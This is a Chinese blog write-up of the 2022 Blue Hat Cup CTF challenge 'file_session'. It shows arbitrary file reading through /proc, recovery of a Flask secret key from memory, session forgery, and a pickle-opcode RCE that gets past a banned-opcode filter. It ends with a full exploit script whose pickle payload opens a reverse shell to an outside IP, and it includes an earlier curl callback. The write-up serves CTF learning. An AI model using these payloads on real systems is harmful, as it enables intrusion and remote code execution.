【2022蓝帽杯】file_session && 浅入opcode

已于 2022-07-28 11:08:24 修改
阅读量1.6k 收藏 1
点赞数 3
分类专栏： ctf 文章标签： python flask 后端 网络安全 web
于 2022-07-28 10:49:41 首次发布
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/weixin_45751765/article/details/125874045
版权

1NDEX

0x00 前言

每次蓝帽的web总能让人坐牢
事情太多(人也菜) 断断续续磨了很长一段时间的东西

0x01 brain.md

读一下源码

/download?file=/proc/self/cwd/app.py

显然我们需要通过伪造session 触发pickle反序列化来rce


import base64
import os
import uuid

from flask import Flask, request, session, render_template

from pickle import _loads

SECRET_KEY = str(uuid.uuid4())

app = Flask(__name__)
app.config.update(dict(
    SECRET_KEY=SECRET_KEY,
))


# apt install python3.8

@app.route('/', methods=['GET'])
def index():
    return "/download?file=?"


@app.route('/download', methods=["GET", 'POST'])
def download():
    print(SECRET_KEY)
    filename = request.args.get('file', "static/image/1.jpg")
    offset = request.args.get('offset', "0")
    length = request.args.get('length', "0")
    if offset == "0" and length == "0":
        return open(filename, "rb").read()
    else:
        offset, length = int(offset), int(length)
        f = open(filename, "rb")
        f.seek(offset)
        ret_data = f.read(length)
        return ret_data


@app.route('/filelist', methods=["GET"])
def filelist():
    return f"{str(os.listdir('./static/image/'))} /download?file=static/image/1.jpg"


@app.route('/admin_pickle_load', methods=["GET"])
def admin_pickle_load():
    if session.get('data'):
        data = _loads(base64.b64decode(session['data']))
        return data
    session["data"] = base64.b64encode(b"error")
    return 'admin pickle'


if __name__ == '__main__':
    app.run(host='0.0.0.0', debug=False, port=8888)

/proc/self/maps读取maps上内存地址
在这里插入图片描述


>>> int(0x7f650b674000)
140071959740416
>>> int(0x7f650c274000)
140071972323328
>>> 140071972323328-140071959740416
12582912
>>>

问就是知道python对象存储在堆上(写脚本批量读取也可)

/download?file=/proc/self/mem&offset=140071959740416&length=12582912

导包正则过一下
uuid -> secret_key
6f41f81b-86da-4d13-a720-d06c404f764c
在这里插入图片描述

flask session机制

参考文章
[HCTF2018]两道题了解flask的session机制
引用自师傅文章
flask session加密流程

json.dumps 将对象转换为json字符串。作为数据
若数据压缩后长度更短。则用zlib进行压缩
将数据Base64编码
通过hmac算法计算数据签名。将签名附在数据后。用点分割

格式类似于这种
eyJ1c2VybmFtZSI6InRlc3QifQ.XC7SPg.sV9_ueBW2e4kCoY0sxh14dxsQiY
由三部分组成
eyJ1c2VybmFtZSI6InRlc3QifQ
Base64加密的数据
XC7SPg
时间戳
sV9_ueBW2e4kCoY0sxh14dxsQiY
数据签名。重点在于这个。通过密钥进行签名。防止被篡改

之前没有看时间戳的习惯
看官方wp学习一下
在这里插入图片描述
贴一下官方wp手写的签名脚本
记得之前都是用git上脚本伪造 完全不知所以然

import hmac
import base64


def sign_flask(data, key, times):
    digest_method = 'sha1'

    def base64_decode(string):
        string = string.encode('utf8')
        string += b"=" * (-len(string) % 4)
        try:
            return base64.urlsafe_b64decode(string)
        except (TypeError, ValueError):
            raise print("Invalid base64-encoded data")

    def base64_encode(s):
        return base64.b64encode(s).replace(b'=', b'')

    salt = b'cookie-session'
    mac = hmac.new(key.encode("utf8"), digestmod=digest_method)
    mac.update(salt)
    key = mac.digest()

    msg = base64_encode(data.encode("utf8")) + b'.' + base64_encode(times.to_bytes(8, 'big'))
    data = hmac.new(key, msg=msg, digestmod=digest_method)
    hs = data.digest()
    # print(hs)
    # print(msg+b'.'+ base64_encode(hs))
    # print(int.from_bytes(times.to_bytes(8,'big'),'big'))
    return msg + b'.' + base64_encode(hs)

base64_data = base64.b64encode(b'test')
print(sign_flask('{"data":{" b":"' + base64_data.decode() + '"}}', 'b3876b37-f48e-49af-ab35-b12fe458a64b', 1893532360))

关于上述脚本中的salt digest_method等在源码中都有考证
感兴趣的师傅可以继续往下挖接口 我是懒狗
在这里插入图片描述
替换cookie session值后再访问admin_pickle_load直接返回500并且值不变
表示签名通过了校验，服务端取得了data值，进入_loads反序列化阶段报错
下面就是opcode了

python pickle

比较好的扫盲(复习)文章
从零开始python反序列化攻击：pickle原理解析 & 不用reduce的RCE姿势
pickle.dumps指定协议版本
在这里插入图片描述

在这里插入图片描述
可以看到0版本看起来比较友好
在这里插入图片描述
opcode详解

https://xz.aliyun.com/t/7012

将最友好的opcode拖出来看一下

b'cnt  
system  	# 导入system push到栈顶
p0 			# 栈顶元素(system)放入memo
(Vwhoami 	# 栈顶push mark + unicode string -> whoami
p			# 栈顶元素放入memo
1tp2        # 
Rp3
.'

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

在这里插入图片描述
题目环境作者自写了pickle _loads
在这里插入图片描述
禁用了i R o b
在这里插入图片描述
load_reduce
在这里插入图片描述
通过字典建立opcode到函数之间的映射关系
在这里插入图片描述
先下个断点调试一下 这里先把waf注释掉方便理解
过到最后一步R开始单点
在这里插入图片描述
可以看到先从栈上pop出参数 args
然后指定栈最后一位为函数名 func
执行func(*args)将返回值放在栈上最后一位

>>> a=["system","whoami"]
>>> args=a.pop()
>>> func=a[-1]
>>> args
'whoami'
>>> func
'system'

在这里插入图片描述
再回去看官方wp 他利用的是opcode b’\x81’

在这里插入图片描述
和刚才的load_reduce同理
先从栈上pop出参数args
再从栈上pop出类名cls
–>然后调用cls类的__new__方法 参数为args
此时我们只需要找到一个类的__new__方法 是我们可以利用的即可

cpython

https://github.com/animalize/cpython

关于map的浅入

官方采用了map方法
map方法之前确实没常用过
一开始还不信 居然要迭代操作才能触发mapobject中的func
在这里插入图片描述
参考这篇

https://blog.csdn.net/Flag_ing/article/details/109139315

map函数本身是惰性计算的，因此返回的结果并不是真实结果，而是一个需要被显示迭代的迭代器，可用隐式遍历的方法来强制遍历map作用的序列，从而得出输出结果。直白点说，可以吧map作用后的结果转换为list等类型进行输出。

文章里采用list做隐式遍历
在这里插入图片描述

localtest

发现确实只有加上list之后 nc才接受到了请求

>>> map(eval,["__import__('os').system('curl 1.15.67.48:7777')"])
<map object at 0x7fbe946a3490>
>>> list(map(eval,["__import__('os').system('curl 1.15.67.48:7777')"]))
curl: (52) Empty reply from server
[13312]
粗糙地翻一下源码

在map类中的 __iter__方法为 Implement iter(self).
在这里插入图片描述
在cpython里过一下
在这里插入图片描述

static PyObject *
slot_tp_iter(PyObject *self)
{
    int unbound;
    PyObject *func, *res;
    _Py_IDENTIFIER(__iter__);

    func = lookup_maybe_method(self, &PyId___iter__, &unbound);
    if (func == Py_None) {
        Py_DECREF(func);
        PyErr_Format(PyExc_TypeError,
                     "'%.200s' object is not iterable",
                     Py_TYPE(self)->tp_name);
        return NULL;
    }

    if (func != NULL) {
        res = call_unbound_noarg(unbound, func, self);
        Py_DECREF(func);
        return res;
    }

    PyErr_Clear();
    func = lookup_maybe_method(self, &PyId___getitem__, &unbound);
    if (func == NULL) {
        PyErr_Format(PyExc_TypeError,
                     "'%.200s' object is not iterable",
                     Py_TYPE(self)->tp_name);
        return NULL;
    }
    Py_DECREF(func);
    return PySeqIter_New(self);
}

因为没有研究过cpython 不敢随便解读源码
看网上的资料也比较少(maybe是我不会找)
翻到一个类似的 --> 可以说明 call_unbound_noarg这一步回完成函数执行
在这里插入图片描述

https://posts.careerengine.us/p/60a03be38264e819d87393d6?nav=post_&p=60a0381a954c620ac9855d21

这一篇可能稍详尽些
在这里插入图片描述

浅入动调_loads 看看opcode运作方式

官方wp用的opcode

b= b'''c__builtin__  
map   		# 导入 __builtin__.map并push至栈顶
p0 		# 将栈顶元素放入memo
0(]S'print(1111)'   # 丢弃栈顶第一个元素(class map) 栈顶push一个mark  stack上push一个空list stack上push一个string 'print(1111)'
ap1  		# 弹出栈顶对象字符串 将现有栈顶对象空列表append弹出的字符串 将栈顶对象对应memo键1的值
0](c__builtin__      # 丢弃栈顶元素 push一个空list 向栈顶push一个mark
exec  		# 导入 __builtin__.exec并push至栈顶
g1   		# 从memo获取键1对应的值(字符串 print(1111)) 并push至栈顶
ep2  		# self.metastack pop出一个对象 该对象extend self.stack后替换现有的self.stack
0g0
g2
\x81p3		#实例化新对象 map
0c__builtin__
bytes
p4
g3
\x81
.'''

b"c__builtin__\nmap\np0\n0(]S'print(1111)'\nap1\n0](c__builtin__\nexec\ng1\nep2\n0g0\ng2\n\x81p3\n0c__builtin__\nbytes\np4\ng3\n\x81\n."

只挑了一些我会疑惑的拉了出来
读到p0
将栈顶元素放入 memo键0对应的值
在这里插入图片描述
读到0 丢弃栈顶第一个元素 class map
在这里插入图片描述
]是往stack上push一个空list
在这里插入图片描述
S’print(1111)’ 往stack上push一个字符串 print(1111)
注意看self.stack
在这里插入图片描述
a
简述一下这一步，刚刚self.stack上存在两个元素
0: [] 空列表
1: “print(1111)” 字符串
load_append先弹出栈顶元素 字符串
再把字符串append到现有的栈顶元素(空列表中)
实现列表中append单个对象
在这里插入图片描述
g1 获取memo字典 键1的值 “print(1111)” 并push到栈顶
在这里插入图片描述
e
将self.stack保存在items变量中 弹出self.metastack的一个对象(空列表)替换现有self.stack
self.stack中extend一个序列(items 之前的self.stack)
在这里插入图片描述

def pop_mark(self):
        items = self.stack
        self.stack = self.metastack.pop()
        self.append = self.stack.append
        return items

\x81
此时stack栈上一个class map
一个序列 (,[‘print(1111)’])
依次取出作为参数args和类cls

在这里插入图片描述
obj实例化出来
在这里插入图片描述
其他的都是依葫芦画瓢 不做冗余描述了
懒狗贴个exp以备不时之需

import requests
import hmac
import base64


def sign_flask(data, key, times):
    digest_method = 'sha1'

    def base64_decode(string):
        string = string.encode('utf8')
        string += b"=" * (-len(string) % 4)
        try:
            return base64.urlsafe_b64decode(string)
        except (TypeError, ValueError):
            raise print("Invalid base64-encoded data")

    def base64_encode(s):
        return base64.b64encode(s).replace(b'=', b'')

    salt = b'cookie-session'
    mac = hmac.new(key.encode("utf8"), digestmod=digest_method)
    mac.update(salt)
    key = mac.digest()

    msg = base64_encode(data.encode("utf8")) + b'.' + base64_encode(times.to_bytes(8, 'big'))
    data = hmac.new(key, msg=msg, digestmod=digest_method)
    hs = data.digest()
    # print(hs)
    # print(msg+b'.'+ base64_encode(hs))
    # print(int.from_bytes(times.to_bytes(8,'big'),'big'))
    return msg + b'.' + base64_encode(hs)


def Cmd(url):
    code = b'''c__builtin__
map
p0
0(]S'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.244.133",2333));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
ap1
0](c__builtin__
exec
g1
ep2
0g0
g2
\x81p3
0c__builtin__
bytes
p4
g3
\x81
.'''

    # /usr/lib/python3.8/pickle.py
    tmp_payload = base64.b64encode(base64.b64encode(code)).decode()
    payload = sign_flask('{"data":{" b":"' + tmp_payload + '"}}', 'b3876b37-f48e-49af-ab35-b12fe458a64b', 1893532360)
    cookies = {"session": payload.decode()}
    print(payload)
    sess = requests.session()
    print(sess.get(url + '/admin_pickle_load', cookies=cookies).text)


url = "http://192.168.244.133:7410/"
Cmd(url)

参考文章

https://xz.aliyun.com/t/7012

0x02 rethink

谢谢队里大哥的耐心讲解 磕一个先
协调好手里的事情 争取早日复现完

k_du1t
关注
  • 3
    点赞
  • 踩
  • 1
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
专栏目录
PHPcachetool清除APC_opcode缓存库.zip
07-11
<?... namespace CacheTool; use CacheTool\Code; class CodeTest extends \PHPUnit_Framework_TestCase ... public function testFactory() ...PHPcachetool清除APC_opcode缓存库就是这么一个库。
ARM&Thumb; opcode
03-13
arm和thumb指令的详细opcode，便于指令查询和熟悉指令。
[CTF]-蓝帽杯2022复现
Mr.木Mu
07-10 554
打开.exe文件搜索文件 导出文件，查看属性 手机取证-2 搜索姜总聊天记录中找到 网站取证1 打开是个的框架，要求是找使用扫描后门找到第一个代码段 网站取证2 加密文件 是加密算法 网站取证3 网站取证4 将2022-04-02 00:00:00-2022-04-18 23:59:59的张宝和王子豪的记录取出来，还有汇率取出来放着汇率 计算机取证2 Misc domainhacker 搜流 ，有个流量包导出文件用打开，把冗余的部分删掉，保存为里面有个，需要解压密码密码在
2022.7.9 第六届蓝帽杯复现
Pai_Space
07-11 773
2022.7.9 第六届蓝帽杯复现
Seata解析-文件会话管理器FileSessionManager详解
龚厂长的博客
09-12 608
本文基于seata 1.3.0版本 在《Seata解析-TC会话管理器SessionManager》中介绍了SessionManager管理器有三个实现类：DataBaseSessionManager、FileSessionManager、RedisSessionManager，可以通过store.mode指定需要使用的管理器实现类，store.mode在file.conf文件中配置，有三个值：db、file、redis，分别对应了上面三个实现类。这三个管理器的区别在于事务日志的写入位置不用，比如Dat.
php 文件session弊端,session是什么？为什么不推荐使用file保存session？
weixin_39912984的博客
03-11 148
什么是 Session在 web应用开发中，Session 被称为会话。主要被用于保存某个访问者的数据。由于 HTTP无状态的特点，服务端是不会记住客户端的，对服务端来说，每一个请求都是全新的。既然如此，那么服务端怎么知道是哪个访问者在请求它呢？又如何将不同的数据对应上正确的访问者？答案是，给访问者一个唯一获取 Session中数据的身份标识。打个比方：当我们去超市购物时，被保安告之我们是不能带物...
CTFweb篇-反序列化和SESSION(一)
weixin_44597701的博客
08-09 1049
前面讲到过一点SESSION，这里要继续说一点 SESSION的几种形式 这里是binary session的形成方法可以在php.ini中设置。默认是php（可能是php_serialize) 例子： php形式： php_serialize形式: php_binary: ini_set() ini_set ( string $varname , string $newvalue ) 在配置文件中设置配置的值 ini_set('session.serialize_handles','php')
Opcodes.rar_OD SSE_OPCODE intel_opcod_opcodes intel_机器码
07-15
Intel汇编指令集，包括机器码表，汇编开发必备
gcc_as_Opcode_rar.zip_gcc_opc
09-23
gcc_as_opcode explanation
x86 opcode structure and instruction overview.pdf
04-15
x86 opcode structure and instruction overview
python pickle反序列化漏洞
weixin_43610673的博客
05-20 2975
前置知识 什么是pickle pickle是Python专用的一个进行序列化和反序列化的工具包，pickle能表示Python几乎所有的类型（包括自定义类型），由一系列opcode组成，模拟了类似堆栈的内存。 与PHP序列化或者JSON，这些以键值对形式存储序列化对象数据的不同，pickle 序列化（Python独有）是将一个 Python 对象及其所拥有的层次结构变成可以持久化储存的二进制数据，无法像JSON 一样直观阅读。在Python中，采用术语 封存 (pickling)和 解封 (unpickli
2021第五届蓝帽杯初赛部分题目wp
qq_43678263的博客
04-29 5920
文章目录前言WEBBall_siginPWNslientMISC冬奥会_is_coming 前言 本次蓝帽杯初赛做出了三道解出人数最多的题，勉强混个线下。但不得不吐槽一下这届题目。冬奥会这题杂项套了100层娃，头都绕晕了；PWN题的slient是2020年蓝帽杯决赛原题。其他题没做出来，没有发言权。 WEB Ball_sigin 签到题，用手机打开，填补3次左上角空缺的单词，完成滑雪游戏即得到flag flag{3b2e48de-e328-4267-a8d6-8d17fb3c8889} PWN sl
2022第六届蓝帽杯初赛writeup
qq_49422880的博客
07-10 1896
Writeup
2022 第六届蓝帽杯初赛 WP By 知行网安
xczzhf的博客
07-11 1343
第六届蓝帽杯wp
pickle反序列化简析
weixin_45805993的博客
06-15 454
执行whoami/calc
蓝帽杯2022 pwn Bank
z1r0的博客
07-12 522
保护全开 这道题其实逆清楚了基本就可以解出来了 这里是输入对应的单词就可以进入对应的功能 先看一下Deposit功能 先判断是否login，接着输入多少钱，然后判断一下card_money钱是否足够，如何足够则总钱+输入的，这个函数没什么用。 看一下put函数 这里就是需要存放的钱，判断是否小于总钱。并将需要存放的钱放入card_money中 接下来再看login函数 输入card_numbers，需要过检测 长度大于0，并在0-9之间，接下来输入密码的时候长度需要大于5，也是0-9 满足上面
SQL语句大全—查看表空间（一）
东方咖啡屋
08-30 1750
查看表空间的名称及大小:SQL> SELECT T.TABLESPACE_NAME, ROUND(SUM(BYTES/(1024 * 1024)), 0) TS_SIZEFROM DBA_TABLESPACES T, DBA_DATA_FILES DWHERE T.TABLESPACE_NAME = D.TABLESPACE_NAMEGROUP BY T.TABLESPACE_NAME;查看表
实现基于文件存储的Session类
ddzmq5378的博客
12-30 96
自主实现Session功能的类，基于文件方式存储Session数据，测试基本通过，还比较好玩，实际应用没有意义，只不过是学习Session是如何实现的。 一般基于文件存储Session数据效率不是很高，毕竟跟磁盘IO是有关系的，如 果需要多台服务器共享数据，可以考虑使用NFS来存储数据，如果需要比较快的速度，可以考虑使用共享内存(shm)来保存数据，直接把Session数据 存储路径指...
session_start():Session data file is not created by your uid
不求前途凶吉，但求落幕无悔！
04-11 5875
问题概要 前几天公司给配置了电脑，为MAC系统，刚刚配置了apache、ngnix、php5.6和php7.0。所以把以前笔记本电脑中的项目拷贝到公司电脑。就出现了如下图错误。 问题分析 通过tp5.0框架给的提示，可以很明显看出来，session文件不是由自身的uid所创建的。当时因为本人怀疑自身的英语水平所以百度翻译了一下(如下图)。并且我用tp3.2和5.0裸框架...
uint8_t dataTx = OPCODE_RREG | OPCODE_MUL_MASK | (startAddress & OPCODE_A_MASK);是什么意思
最新发布
06-11
这个按位或操作由三个参数组成：OPCODE_RREG、OPCODE_MUL_MASK和(startAddress & OPCODE_A_MASK)。其中，OPCODE_RREG和OPCODE_MUL_MASK是两个预定义的常量，startAddress是一个变量。 按位或操作的作用是将两个二...

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值